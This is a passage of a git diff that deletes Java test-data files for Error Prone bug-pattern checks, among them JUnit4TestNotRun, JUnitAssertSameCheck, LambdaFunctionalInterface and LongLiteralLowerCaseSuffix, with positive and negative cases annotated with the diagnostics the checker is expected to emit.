- * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunNegativeCase4 extends TestCase { - public void testThisIsATest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase5.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase5.java deleted file mode 100644 index d3a06caf347..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase5.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * Methods that override methods with @Test should not trigger an error (JUnit 4 will run them). - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunNegativeCase5 extends JUnit4TestNotRunBaseClass { - @Override - public void testSetUp() {} - - @Override - public void testTearDown() {} - - @Override - public void testOverrideThis() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase1.java deleted file mode 100644 index ce2dfb269ca..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase1.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunPositiveCase1 { - // BUG: Diagnostic contains: @Test - public void testThisIsATest() {} - - // BUG: Diagnostic contains: @Test - public static void testThisIsAStaticTest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase2.java deleted file mode 100644 index 45353fc0875..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunPositiveCase2.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.mockito.junit.MockitoJUnitRunner; - -/** - * Mockito test runner that uses JUnit 4. - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(MockitoJUnitRunner.class) -public class JUnit4TestNotRunPositiveCase2 { - // BUG: Diagnostic contains: @Test - public void testThisIsATest() {} - - // BUG: Diagnostic contains: @Test - public static void testThisIsAStaticTest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckNegativeCases.java deleted file mode 100644 index 5be90359d7f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckNegativeCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative test cases for {@link JUnitAssertSameCheck} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class JUnitAssertSameCheckNegativeCases { - - public void test(Object obj1, Object obj2) { - org.junit.Assert.assertSame(obj1, obj2); - org.junit.Assert.assertSame("message", obj1, obj2); - junit.framework.Assert.assertSame(obj1, obj2); - junit.framework.Assert.assertSame("message", obj1, obj2); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckPositiveCase.java deleted file mode 100644 index 6799504ba31..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitAssertSameCheckPositiveCase.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Positive test cases for {@link JUnitAssertSameCheck} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class JUnitAssertSameCheckPositiveCase { - - public void test(Object obj) { - // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit - org.junit.Assert.assertSame(obj, obj); - - // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit - org.junit.Assert.assertSame("message", obj, obj); - - // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit - junit.framework.Assert.assertSame(obj, obj); - - // BUG: Diagnostic contains: An object is tested for reference equality to itself using JUnit - junit.framework.Assert.assertSame("message", obj, obj); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCase.java deleted file mode 100644 index 620ad5b555b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCase.java +++ /dev/null @@ -1,144 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Arrays; -import java.util.Iterator; -import java.util.List; -import junitparams.JUnitParamsRunner; -import junitparams.Parameters; -import junitparams.naming.TestCaseName; -import org.junit.Test; -import org.junit.runner.RunWith; - -/** Negative cases for {@link com.google.errorprone.bugpatterns.JUnitParameterMethodNotFound} */ -@RunWith(JUnitParamsRunner.class) -public class JUnitParameterMethodNotFoundNegativeCase { - - private static final String METHOD = "named1"; - - private static Object[] dataProvider() { - return new Object[] {1}; - } - - private static Object[] dataProvider1() { - return new Object[] {2}; - } - - @Test - @Parameters(method = "dataProvider, dataProvider1") - public void paramStaticProvider(int a) {} - - @Test - @Parameters(source = Inner.class, method = "dataProviderInner") - public void testSource(int a) {} - - @Test - @Parameters({"AAA,1", "BBB,2"}) - public void paramsInAnnotation(String p1, Integer p2) {} - - @Test - @Parameters({"AAA|1", "BBB|2"}) - public void paramsInAnnotationPipeSeparated(String p1, Integer p2) {} - - @Test - @Parameters - public void paramsInDefaultMethod(String p1, Integer p2) {} - - private Object parametersForParamsInDefaultMethod() { - return new Object[] {new Object[] {"AAA", 1}, new Object[] {"BBB", 2}}; - } - - @Test - @Parameters(method = METHOD) - public void paramsInNamedMethod(String p1, Integer p2) {} - - private Object named1() { - return new Object[] {"AAA", 1}; - } - - @Test - @Parameters(method = "named2,named3") - public void paramsInMultipleMethods(String p1, Integer p2) {} - - private Object named2() { - return new Object[] {"AAA", 1}; - } - - private Object named3() { - return new Object[] {"BBB", 2}; - } - - @Test - @Parameters - public void paramsInCollection(String p1) {} - - private List parametersForParamsInCollection() { - return Arrays.asList("a"); - } - - @Test - @Parameters - public void paramsInIterator(String p1) {} - - private Iterator parametersForParamsInIterator() { - return Arrays.asList("a").iterator(); - } - - @Test - @Parameters - public void paramsInIterableOfIterables(String p1, String p2) {} - - private List> parametersForParamsInIterableOfIterables() { - return Arrays.asList(Arrays.asList("s01e01", "s01e02"), Arrays.asList("s02e01", "s02e02")); - } - - @Test - @Parameters( - "please\\, escape commas if you use it here and don't want your parameters to be split") - public void commasInParametersUsage(String phrase) {} - - @Test - @Parameters({"1,1", "2,2", "3,6"}) - @TestCaseName("factorial({0}) = {1}") - public void customNamesForTestCase(int argument, int result) {} - - @Test - @Parameters({"value1, value2", "value3, value4"}) - @TestCaseName("[{index}] {method}: {params}") - public void predefinedMacroForTestCaseNames(String param1, String param2) {} - - public Object mixedParameters() { - boolean booleanValue = true; - int[] primitiveArray = {1, 2, 3}; - String stringValue = "Test"; - String[] stringArray = {"one", "two", null}; - return new Object[] {new Object[] {booleanValue, primitiveArray, stringValue, stringArray}}; - } - - @Test - @Parameters(method = "mixedParameters") - @TestCaseName("{0}, {1}, {2}, {3}") - public void usageOfMultipleTypesOfParameters( - boolean booleanValue, int[] primitiveArray, String stringValue, String[] stringArray) {} - - static class Inner { - public Object dataProviderInner() { - return new Object[] {1}; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseBaseClass.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseBaseClass.java deleted file mode 100644 index 75594aab464..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseBaseClass.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junitparams.JUnitParamsRunner; -import org.junit.runner.RunWith; - -@RunWith(JUnitParamsRunner.class) -public abstract class JUnitParameterMethodNotFoundNegativeCaseBaseClass { - public Object named1() { - return new Object[] {1}; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java deleted file mode 100644 index 28847aff58c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner.java +++ /dev/null @@ -1,29 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junitparams.Parameters; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -@RunWith(JUnit4.class) -public class JUnitParameterMethodNotFoundNegativeCaseNonJUnitParamsRunner { - @Test - @Parameters(method = "named1") - public void paramStaticProvider() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseSuperClass.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseSuperClass.java deleted file mode 100644 index 2f8d81a470f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundNegativeCaseSuperClass.java +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junitparams.JUnitParamsRunner; -import junitparams.Parameters; -import org.junit.Test; -import org.junit.runner.RunWith; - -@RunWith(JUnitParamsRunner.class) -public class JUnitParameterMethodNotFoundNegativeCaseSuperClass - extends JUnitParameterMethodNotFoundNegativeCaseBaseClass { - @Test - @Parameters(method = "named1") - public void testNamed(int a) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundPositiveCase.java deleted file mode 100644 index ae5f5c6f32c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnitParameterMethodNotFoundPositiveCase.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junitparams.JUnitParamsRunner; -import junitparams.Parameters; -import org.junit.Test; -import org.junit.runner.RunWith; - -@RunWith(JUnitParamsRunner.class) -public class JUnitParameterMethodNotFoundPositiveCase { - - @Test - @Parameters - // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] - public void paramsInDefaultMethod(String p1, Integer p2) {} - - @Test - @Parameters(method = "named2,named3") - // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] - public void paramsInMultipleMethods(String p1, Integer p2) {} - - @Test - @Parameters(source = JUnitParameterMethodNotFoundPositiveCase.class, method = "dataProvider") - // BUG: Diagnostic contains: [JUnitParameterMethodNotFound] - public void testSource(int a) {} - - static class Inner { - public Object dataProvider() { - return new Object[] {1}; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfaceNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfaceNegativeCases.java deleted file mode 100644 index 8113e9fead5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfaceNegativeCases.java +++ /dev/null @@ -1,104 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.function.Function; -import java.util.function.IntToDoubleFunction; - -public class LambdaFunctionalInterfaceNegativeCases { - - public double fooIntToDoubleFunction(int x, Function fn) { - return fn.apply(x).doubleValue(); - } - - public void fooIntToDoubleUtil(int y, IntToDoubleFunction fn) { - fn.applyAsDouble(y); - } - - public long fooIntToLongFunction(int x, Function fn) { - return fn.apply(x); - } - - public long fooIntToIntFunction(int x, Function fn) { - return fn.apply(x); - } - - public double fooDoubleToDoubleFunction(double x, Function fn) { - return fn.apply(x); - } - - public int fooDoubleToIntFunction(double x, Function fn) { - return fn.apply(x); - } - - public String add(String string, Function func) { - return func.apply(string); - } - - public void fooInterface(String str, Function func) {} - - public double fooDouble(double x, Function fn) { - return fn.apply(x); - } - - public static class WithCallSiteExplicitFunction { - - public static double generateDataSeries(Function curveFunction) { - final double scale = 100; - final double modX = 2.0; - return modX / curveFunction.apply(scale); - } - - // call site - private static double generateSpendCurveForMetric(double curved) { - // explicit Function variable creation - Function curveFunction = x -> Math.pow(x, 1 / curved) * 100; - return generateDataSeries(curveFunction); - } - } - - public static class WithCallSiteAnonymousFunction { - - public static double findOptimalMu(Function costFunc, double mid) { - return costFunc.apply(mid); - } - - // call site: anonymous Function - public Double getMu() { - return findOptimalMu( - new Function() { - @Override - public Long apply(Double mu) { - return 0L; - } - }, - 3.0); - } - } - - public static class WithCallSiteLambdaFunction { - - public static double findOptimalMuLambda(Function costFunc, double mid) { - return costFunc.apply(mid); - } - - // call site: anonymous Function - public Double getMu() { - return findOptimalMuLambda(mu -> 0L, 3.0); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfacePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfacePositiveCases.java deleted file mode 100644 index fc305a4e57a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LambdaFunctionalInterfacePositiveCases.java +++ /dev/null @@ -1,175 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.List; -import java.util.function.Function; - -public class LambdaFunctionalInterfacePositiveCases { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private double fooIntToDoubleFunctionPr(int x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private long fooIntToLongFunction(int x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private long fooIntToIntFunction(int x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private double fooDoubleToDoubleFunction(double x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private int fooDoubleToIntFunction(double x, Function fn) { - return fn.apply(x); - } - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private void fooInterface(String str, Function func) {} - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private double fooDouble(double x, Function fn) { - return fn.apply(x); - } - - public static class WithCallSiteExplicitFunction { - - private static double generateDataSeries(Function curveFunction) { - final double scale = 100; - final double modX = 2.0; - return modX / curveFunction.apply(scale); - } - - // call site - private static double generateSpendCurveForMetric(double curved) { - // explicit Function variable creation - Function curveFunction = x -> Math.pow(x, 1 / curved) * 100; - return generateDataSeries(curveFunction); - } - - // call site: lambda Function - public Double getMu() { - return generateDataSeries(mu -> 2.3); - } - } - - public static class WithCallSiteAnonymousFunction { - - private static double findOptimalMu(Function costFunc, double mid) { - return costFunc.apply(mid); - } - - // call site: anonymous Function - public Double getMu() { - return findOptimalMu( - new Function() { - @Override - public Long apply(Double mu) { - return 0L; - } - }, - 3.0); - } - } - - public static class WithCallSiteLambdaFunction { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private static double findOptimalMuLambda(Function costFunc, double mid) { - return costFunc.apply(mid); - } - - // call site: lambda - public Double getMu() { - return findOptimalMuLambda(mu -> 0L, 3.0); - } - - // call site: lambda - public Double getTu() { - return findOptimalMuLambda(mu -> 2L, 4.0); - } - } - - public static class TwoLambdaFunctions { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private static double find( - Function firstFunc, Function secondFun, double mid) { - firstFunc.apply(mid + 2); - - return firstFunc.apply(mid); - } - - // call site: lambda - public Double getMu() { - return find(mu -> 0L, nu -> 1L, 3.0); - } - - // call site: lambda - public Double getTu() { - return find(mu -> 2L, nu -> 3L, 4.0); - } - } - - public static class NumbertoT { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private static List numToTFunction(Function converter) { - List namedNumberIntervals = new ArrayList<>(); - T min = converter.apply(2.9); - T max = converter.apply(5.6); - namedNumberIntervals.add(min); - namedNumberIntervals.add(max); - return namedNumberIntervals; - } - - // call site: lambda - public List getIntList() { - List result = numToTFunction(num -> 2 + 3); - - return result; - } - - // call site: lambda - public List getDoubleList() { - List result = numToTFunction(num -> 2.3); - - return result; - } - } - - public static class TtoNumber { - - // BUG: Diagnostic contains: [LambdaFunctionalInterface] - private int sumAll(Function sizeConv) { - return sizeConv.apply((T) Integer.valueOf(3)); - } - - public int getSumAll() { - return sumAll(o -> 2); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralNegativeCases.java deleted file mode 100644 index 5e18bf8b81d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralNegativeCases.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class LockOnNonEnclosingClassLiteralNegativeCases { - - static { - synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) { - } - } - - private void methodContainsSynchronizedBlock() { - synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) { - } - synchronized (this) { - } - } - - class SubClass { - - public void methodContainsSynchronizedBlock() { - synchronized (SubClass.class) { - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralPositiveCases.java deleted file mode 100644 index b340a900342..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LockOnNonEnclosingClassLiteralPositiveCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2023 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class LockOnNonEnclosingClassLiteralPositiveCases { - - static { - // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block - // can unintentionally prevent the locked class being used properly. - synchronized (String.class) { - } - } - - private void methodContainsSynchronizedBlock() { - // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block - // can unintentionally prevent the locked class being used properly. - synchronized (String.class) { - } - } - - class SubClass { - - public void methodContainsSynchronizedBlock() { - // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code - // block can unintentionally prevent the locked class being used properly. - synchronized (LockOnNonEnclosingClassLiteralPositiveCases.class) { - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixNegativeCases.java deleted file mode 100644 index 7af626934cc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixNegativeCases.java +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative cases for {@link LongLiteralLowerCaseSuffix} - * - * @author Simon Nickerson (sjnickerson@google.com) - */ -public class LongLiteralLowerCaseSuffixNegativeCases { - public void positiveUpperCase() { - long value = 123432L; - } - - public void zeroUpperCase() { - long value = 0L; - } - - public void negativeUpperCase() { - long value = -3L; - } - - public void notLong() { - String value = "0l"; - } - - public void variableEndingInEllIsNotALongLiteral() { - long ell = 0L; - long value = ell; - } - - public void positiveNoSuffix() { - long value = 3; - } - - public void negativeNoSuffix() { - long value = -3; - } - - public void positiveHexUpperCase() { - long value = 0x80L; - } - - public void zeroHexUpperCase() { - long value = 0x0L; - } - - public void negativeHexUpperCase() { - long value = -0x80L; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase1.java deleted file mode 100644 index 084df422649..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase1.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Positive cases for {@link LongLiteralLowerCaseSuffix}. - */ -public class LongLiteralLowerCaseSuffixPositiveCase1 { - - // This constant string includes non-ASCII characters to make sure that we're not confusing - // bytes and chars: - @SuppressWarnings("unused") - private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; - - public void positiveLowerCase() { - // BUG: Diagnostic contains: value = 123432L - long value = 123432l; - } - - public void zeroLowerCase() { - // BUG: Diagnostic contains: value = 0L - long value = 0l; - } - - public void negativeLowerCase() { - // BUG: Diagnostic contains: value = -123432L - long value = -123432l; - } - - public void negativeExtraSpacesLowerCase() { - // BUG: Diagnostic contains: value = - 123432L - long value = - 123432l; - } - - public void positiveHexLowerCase() { - // BUG: Diagnostic contains: value = 0x8abcDEF0L - long value = 0x8abcDEF0l; - // BUG: Diagnostic contains: value = 0X80L - value = 0X80l; - } - - public void zeroHexLowerCase() { - // BUG: Diagnostic contains: value = 0x0L - long value = 0x0l; - // BUG: Diagnostic contains: value = 0X0L - value = 0X0l; - } - - public void negativeHexLowerCase() { - // BUG: Diagnostic contains: value = -0x8abcDEF0L - long value = -0x8abcDEF0l; - // BUG: Diagnostic contains: value = -0X80L - value = -0X80l; - } - - public void negativeHexExtraSpacesLowerCase() { - // BUG: Diagnostic contains: value = - 0x8abcDEF0L - long value = - 0x8abcDEF0l; - } - - public void positiveOctalLowerCase() { - // BUG: Diagnostic contains: value = 06543L - long value = 06543l; - } - - public void zeroOctalLowerCase() { - // BUG: Diagnostic contains: value = 00L - long value = 00l; - } - - public void negativeOctalLowerCase() { - // BUG: Diagnostic contains: value = -06543L - long value = -06543l; - } - - public void negativeOctalExtraSpacesLowerCase() { - // BUG: Diagnostic contains: value = - 06543L - long value = - 06543l; - } - -} diff --git 